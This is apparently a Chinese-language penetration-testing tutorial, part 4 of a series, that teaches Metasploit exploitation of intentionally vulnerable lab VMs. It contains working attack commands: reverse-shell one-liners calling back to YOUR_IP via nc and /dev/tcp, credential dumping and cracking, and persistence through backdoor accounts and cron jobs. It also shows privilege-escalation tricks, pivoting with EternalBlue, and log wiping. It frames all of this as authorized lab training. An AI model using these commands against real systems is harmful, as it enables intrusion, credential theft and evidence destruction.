黑客之路:5部分系列
第1部分:入门 → 第2部分:Flipper精通 → 第3部分:Kali基础 → 第4部分:漏洞利用 → 第5部分:完整审计
在第1-3部分,你构建了自己的工具包。你能克隆门禁卡、映射网络、捕获握手包,并识别目标上运行的每个服务。现在你到处都能看到漏洞。但发现漏洞和利用漏洞是完全不同的技能。
这里才是真正的开始。今天你将学习使用Metasploit Framework,全球专业渗透测试人员使用的同一工具。你将利用你的第一个漏洞,建立持久化,提升权限,并学习在网络中进行横向移动。
不可逾越的底线
本文中的所有内容必须在你拥有的系统或者有明确书面授权测试的系统上进行练习。未经授权访问计算机系统是联邦犯罪,最高可判处20年监禁。"我只是在学习"不是有效的辩护理由。搭建实验室,使用故意存在漏洞的虚拟机,永远不要触碰不属于你的系统。
第1部分:搭建攻击实验室
在利用任何漏洞之前,你需要目标。真正的渗透测试人员使用带有故意存在漏洞的机器的隔离实验室环境。你也要这样做。
基本实验室配置
你需要什么
- Kali Linux VM - 你的攻击机器(来自第3部分)
- Metasploitable 2 - 故意存在漏洞的Linux VM(SourceForge)
- Metasploitable 3 - 存在漏洞的Windows/Linux VM(GitHub)
- DVWA - Damn Vulnerable Web Application(GitHub)
- VulnHub VMs - CTF风格的漏洞机器(vulnhub.com)
项目:实验室网络配置
时间: 45分钟
- 从SourceForge下载Metasploitable 2
- 导入VirtualBox/VMware
- 配置网络:将Kali和Metasploitable都设为"Host-Only"或"Internal Network"
- 启动Metasploitable(默认登录:
msfadmin/msfadmin) - 记下IP地址:
ifconfig - 从Kali验证连通性:
ping METASPLOITABLE_IP - 运行初始扫描:
sudo nmap -sV -sC METASPLOITABLE_IP
验证: 你应该看到数十个开放端口。Metasploitable就是为被入侵而设计的。
你对Metasploitable的nmap扫描应该会显示FTP、SSH、Telnet、SMTP、HTTP、Samba、MySQL、PostgreSQL等服务,其中许多运行着过时的、存在漏洞的版本。这就是你的练兵场。
第2部分:Metasploit Framework基础
Metasploit不仅仅是一个工具。它是一个完整的生态系统。它包含数千个exploits、payloads、辅助模块和后渗透工具。理解它的结构至关重要。
启动Metasploit
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >Metasploit的结构
Metasploit将所有内容组织成模块:
- Exploits - 利用漏洞的代码
- Payloads - 漏洞利用后执行的代码(shells、meterpreter)
- Auxiliary - 扫描器、模糊测试器和其他实用工具
- Post - 用于持久化、横向移动的后渗透模块
- Encoders - 混淆payload以规避检测
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor漏洞利用工作流程
Metasploit中的每次漏洞利用都遵循相同的模式:
- 选择一个exploit -
use exploit/path/to/module - 设置选项 - 目标IP、端口、凭据
- 选择一个payload - 漏洞利用后运行什么
- 执行 -
exploit或run
第3部分:你的第一个Exploit
让我们利用历史上最著名的后门之一:vsftpd 2.3.4后门。2011年,有人在vsftpd源代码中植入了后门。如果你发送以:)结尾的用户名,就会在端口6200打开一个shell。
Metasploitable 2恰好运行这个版本。
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)就这么简单。一个有漏洞的服务,一个exploit,root权限。这就是为什么保持软件更新如此重要。
项目:利用vsftpd后门
时间: 15分钟
前置条件: Metasploitable 2正在运行,Kali在同一网络
- 验证FTP正在运行:
nmap -sV -p 21 TARGET_IP - 启动msfconsole
- 搜索、选择并配置vsftpd exploit
- 运行exploit
- 获得shell后探索:
cat /etc/shadow
成功标准: 你能读取/etc/shadow,这是只有root才能访问的文件。
第4部分:理解Payloads
Payload是exploit成功后运行的内容。我们上面获得的基本shell很简单,但Metasploit提供了更强大的选项。
Payload类型
- Singles - 独立的、一次性payload(添加用户、运行命令)
- Stagers - 建立连接的小型payload,然后下载主payload
- Stages - stager下载的主payload(Meterpreter)
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcpReverse与Bind Shell
- Reverse shell - 目标回连到你。更适合绕过防火墙(出站通常被允许)。
- Bind shell - 目标打开一个端口供你连接。更容易被检测,经常被防火墙阻止。
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploitMeterpreter:终极Payload
Meterpreter是Metasploit最强大的payload。它完全在内存中运行(磁盘上没有文件),提供加密通信,并包含数十个用于后渗透的内置命令。
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo # System information
3meterpreter > getuid # Current user
4meterpreter > pwd # Current directory
5meterpreter > ls # List files
6meterpreter > download file # Download file to Kali
7meterpreter > upload file # Upload file to target
8meterpreter > shell # Drop to system shell
9meterpreter > hashdump # Dump password hashes
10meterpreter > screenshot # Take screenshot
11meterpreter > keyscan_start # Start keylogger
12meterpreter > keyscan_dump # Dump keystrokes
13meterpreter > background # Background this session第5部分:更多Exploitation技术
利用Samba(SMB)
Metasploitable 2运行着存在漏洞的Samba版本。这类似于WannaCry中使用的臭名昭著的EternalBlue exploit。
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened利用弱凭据
不是每次入侵都需要软件漏洞。弱密码无处不在。
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Web应用程序Exploitation
Metasploitable包含多个存在漏洞的Web应用程序。让我们利用一个PHP代码注入。
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444项目:利用三个不同的服务
时间: 60分钟
目标: Metasploitable 2
- 利用vsftpd后门(FTP - 端口21)获取root shell
- 利用Samba usermap_script(SMB - 端口139/445)获取root shell
- 使用auxiliary/scanner/ssh/ssh_login破解SSH凭据
- 记录每次exploitation:使用的模块、设置的选项、结果
附加挑战: 探索端口80上的Web应用程序,找到手动exploitation向量。
第6部分:后渗透
获取shell只是开始。真正的渗透测试需要证明攻击者利用该访问权限能做什么。这就是后渗透。
信息收集
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer : metasploitable
4OS : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp1# From a regular shell
2cat /etc/passwd # All users
3cat /etc/shadow # Password hashes (requires root)
4cat /etc/hosts # Network mappings
5netstat -tulpn # Open ports
6ps aux # Running processes
7crontab -l # Scheduled tasks凭据收集
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt建立持久化
持久化意味着即使在重启后或初始exploit向量被修补后仍保持访问权限。
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP持久化 = 证据
每种持久化机制都会留下痕迹。在真正的渗透测试中,你记录你能做什么,然后清理。在客户系统上留下后门是不专业的,可能还是违法的。在你的实验室里尽情操作,但要理解其含义。
第7部分:权限提升
通常你以低权限用户身份获得初始访问。提升到root/admin通常是实现测试目标所必需的。
Linux权限提升
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*自动化枚举脚本
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable常见Linux Privesc向量
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shellWindows权限提升
如果你在测试Windows目标(Metasploitable 3),技术有所不同:
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit项目:从普通用户提升到Root
时间: 45分钟
场景: 你拥有以msfadmin(非root)身份访问Metasploitable的SSH权限
- SSH连接到Metasploitable:
ssh msfadmin@TARGET - 运行
id确认你不是root - 检查sudo权限:
sudo -l - 查找SUID二进制文件:
find / -perm -4000 2>/dev/null - 上传并运行LinPEAS
- 识别一个privesc向量并利用它
目标: 使用网络服务exploitation以外的方法获取root shell。
第8部分:Pivoting
Pivoting是使用已被入侵的系统来攻击从你的攻击机器无法直接访问的其他系统。这就是攻击者在网络中横向移动的方式。
Pivot场景
想象这个网络:
- 你的Kali:192.168.1.100
- 被入侵的主机:192.168.1.50(同时连接到内部网络10.0.0.0/24)
- 目标:10.0.0.10(只能从192.168.1.50访问)
你无法直接到达10.0.0.10。但通过被入侵的主机,你可以。
Metasploit路由
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit用SOCKS代理获取完全访问
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]SSH隧道(不使用Metasploit)
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444第9部分:清除痕迹
专业的渗透测试人员记录他们的访问但会在之后清理。理解攻击者如何清除痕迹也有助于检测入侵。
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"在真实项目中:不要这样做
专业渗透测试人员记录他们的访问并报告他们的发现。他们不会隐藏。清除日志会破坏防御者理解攻击路径所需的证据。只在你的隔离实验室环境中练习这些技术。
黑客之路
5部分系列,带你从好奇到有能力。
第1部分:入门 第2部分:Flipper精通 第3部分:Kali基础 第4部分:漏洞利用 ✓ 第5部分:完整审计
第4部分检查清单
☐ 实验室配置: Metasploitable 2运行中,隔离网络已配置
☐ Metasploit: 数据库已初始化,基本导航已掌握
☐ 第一个Exploit: vsftpd后门已利用,获得root shell
☐ 多个向量: FTP、SMB已利用,SSH凭据已破解
☐ 后渗透: 密码哈希已提取,系统已枚举
☐ 权限提升: 不使用网络exploit从普通用户提升到root
☐ Pivoting: 理解autoroute和SOCKS代理概念
☐ 文档记录: 所有exploit已记录,包含步骤和证据
接下来
你学会了利用漏洞、提升权限和在网络中进行横向移动。你看到了单个弱点如何迅速变成全面入侵。你理解了专业渗透测试人员的工作内容。
在第5部分,我们将所有内容整合在一起。你将从头到尾进行一次完整的安全审计:
- 范围界定和参与规则
- 完整的侦察方法论
- 系统化的exploitation
- 全面的后渗透
- 专业报告
- 修复建议
第5部分是系列的巅峰。你在整个系列中学到的所有内容将汇聚成一套真实世界的方法论,你可以用它来评估任何获得授权测试的网络的安全性。
你学会了技术。现在你要学习方法论。第5部分将技能转化为完整的渗透测试工作流程。
第5部分见。